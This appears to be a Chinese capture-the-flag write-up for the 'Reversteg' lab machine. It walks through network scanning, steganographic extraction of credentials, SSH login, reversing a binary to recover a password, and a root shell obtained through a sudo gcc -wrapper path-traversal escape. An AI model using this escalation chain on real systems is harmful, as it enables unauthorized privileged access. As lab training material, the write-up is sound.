Reversteg.
前期踩点
1 | ⚡ root@kali ~ nmap -sP 192.168.56.0/24 |
1 | ⚡ root@kali ~ nmap -sT -min-rate 10000 -p- 192.168.56.104 |
1 | ⚡ root@kali ~ nmap -sT -A -T4 -O -p 22,80 192.168.56.104 |
访问HTTP
,查看源码发现
1 | 117db0148dc179a2c2245c5a30e63ab0 |
1 | Some people always don't understand the format of photos. |
图片隐写
根据提示可以找到两张图片
使用winhex
打开jpg
图片
TGlmZSBpcyBmdWxsIG9mIHNjZW5lcnksIGxvb2sgY2FyZWZ1bGx5
= Life is full of scenery, look carefully
让我们仔细点,使用图片隐写工具来查找
zsteg
能找到一些字符串
1 | root@kali ~/Desktop/test/reverseteg zsteg 117db0148dc179a2c2245c5a30e63ab0.png |
morainelake
= 冰碛湖 (挠头)
使用steghide
,密码使用的是上面的morainelake
1 | ⚡ root@kali ~/Desktop/test/reverseteg steghide extract -sf 117db0148dc179a2c2245c5a30e63ab0.png |
1 | ⚡ root@kali ~/Desktop/test/reverseteg steghide extract -sf 117db0148dc179a2c2245c5a30e63ab0.jpg --passphrase morainelake |
找到压缩包secret.zip
,解压需要密码,再使用上面的morainelake
试试
1 | root@kali ~/Desktop/test/reverseteg unzip secret.zip |
成功解压,secret.txt
得到一组账户密码
1 | ⚡ root@kali ~/Desktop/test/reverseteg/secret cat secret.txt |
登录SSH
,成功
1 | ⚡ root@kali ~/Desktop/test/reverseteg/secret ssh morainelake@192.168.56.104 |
寻找UserFlag
当前目录下发现note.txt
,告诉我们flag
在history
里
1 | $ cat note.txt |
查看当前目录下history
1 | $ cat history |
…… 使用wc
查看行数,会发现不一样
1 | $ cat history | wc -l |
1 | flag{37dc6d45426cf3e537ab074c230e13a8} |
将两次的结果作对比flag{fc8941b9088096e99b635cc3e07080d6}
是正确的flag
Re
先信息收集一波
在/opt
文件夹下发现reverse
1 | $ ls -al |
并且靶机标题也是与reverse
有关,将reverse
传出来
放到IDA
进行分析(核心代码)
1 | puts("Enter passwords or Enter H coward mode:"); |
分析来自于:Grok
1 | puts("Enter passwords or Enter H coward mode:"); |
- 提示用户输入密码,或者输入 “
H
“ 进入所谓的 “coward mode
“。 - 对用户输入的密码进行处理,并通过
XOR
解密和凯撒解密操作生成验证所需的数据。 - 使用
check_passwords
函数验证输入的密码是否正确。 - 如果验证通过,输出成功消息并解密一个隐藏字符串;否则,提示密码错误
- 当用户输入的不是 “
H
“ 时,假设这是第一个密码,将其复制到dest
中。 - 接着,使用
scanf
读取另外三个字符串,分别存储到v10
、v9
和v8
中。这可能是验证所需的额外输入
1 | LABEL_6: |
初始化数据XOR
解密,解密
v17 = (void *)xor_decrypt(v6, (unsigned int)v19);
== bamuwe
(眼熟)
v15 = (char *)xor_decrypt(&v5, (unsigned int)v19);
== eviden
v18 = (void *)xor_decrypt((char *)&v5 + 7, 77LL);
== ll104567
(群主)
v16 = (char *)xor_decrypt(&v7, (unsigned int)v19);
== ta0
v16
不能直接在CyberChef
里面转,否则会变成乱码,因为v7
是int
格式,而(char *)xor_decrypt
需要将v7
转为Sting
格式
我们将其代码扒下来,直接打印v16
,我们创建v16.c
1 | #include <stdio.h> |
然后编译并运行,得出v16
是ta0
1 | ⚡ root@kali ~/Desktop/test/reverseteg vim v16.c |
那我们就得出v15
-v18
分别是eviden
、ta0
、bamuwe
、ll104567
然后程序调用checkpassword
函数
1 | if ( (unsigned int)check_passwords((int)dest, (int)v10, (int)&v9, (int)&v8, (int)v18, (int)v17, v16, v15) ) |
最后根据参数我们依次输入密码
1 | $ ./reverse |
得到密码flower
?或者ll104567bamuweta0eviden
查看/etc/passwd
下存在哪些用户有shell
的,用户welcome
1 | welcome:x:1001:1001::/home/welcome:/bin/sh |
切换到welcome
,密码是ll104567bamuweta0eviden
1 | morainelake@reversteg:~$ su welcome |
提权
查看权限
1 | $ /bin/bash |
查看gcc
提权方案
1 | gcc -wrapper /bin/sh,-s . |
其实/usr/bin/gcc -wrapper /opt/*
中的*
是可以逃逸的(群主的思路)
1 | welcome@reversteg:/opt$ sudo /usr/bin/gcc -wrapper /opt/../../bin/sh,-s . |
读取RootFlag
1 | # cat /root/root.txt |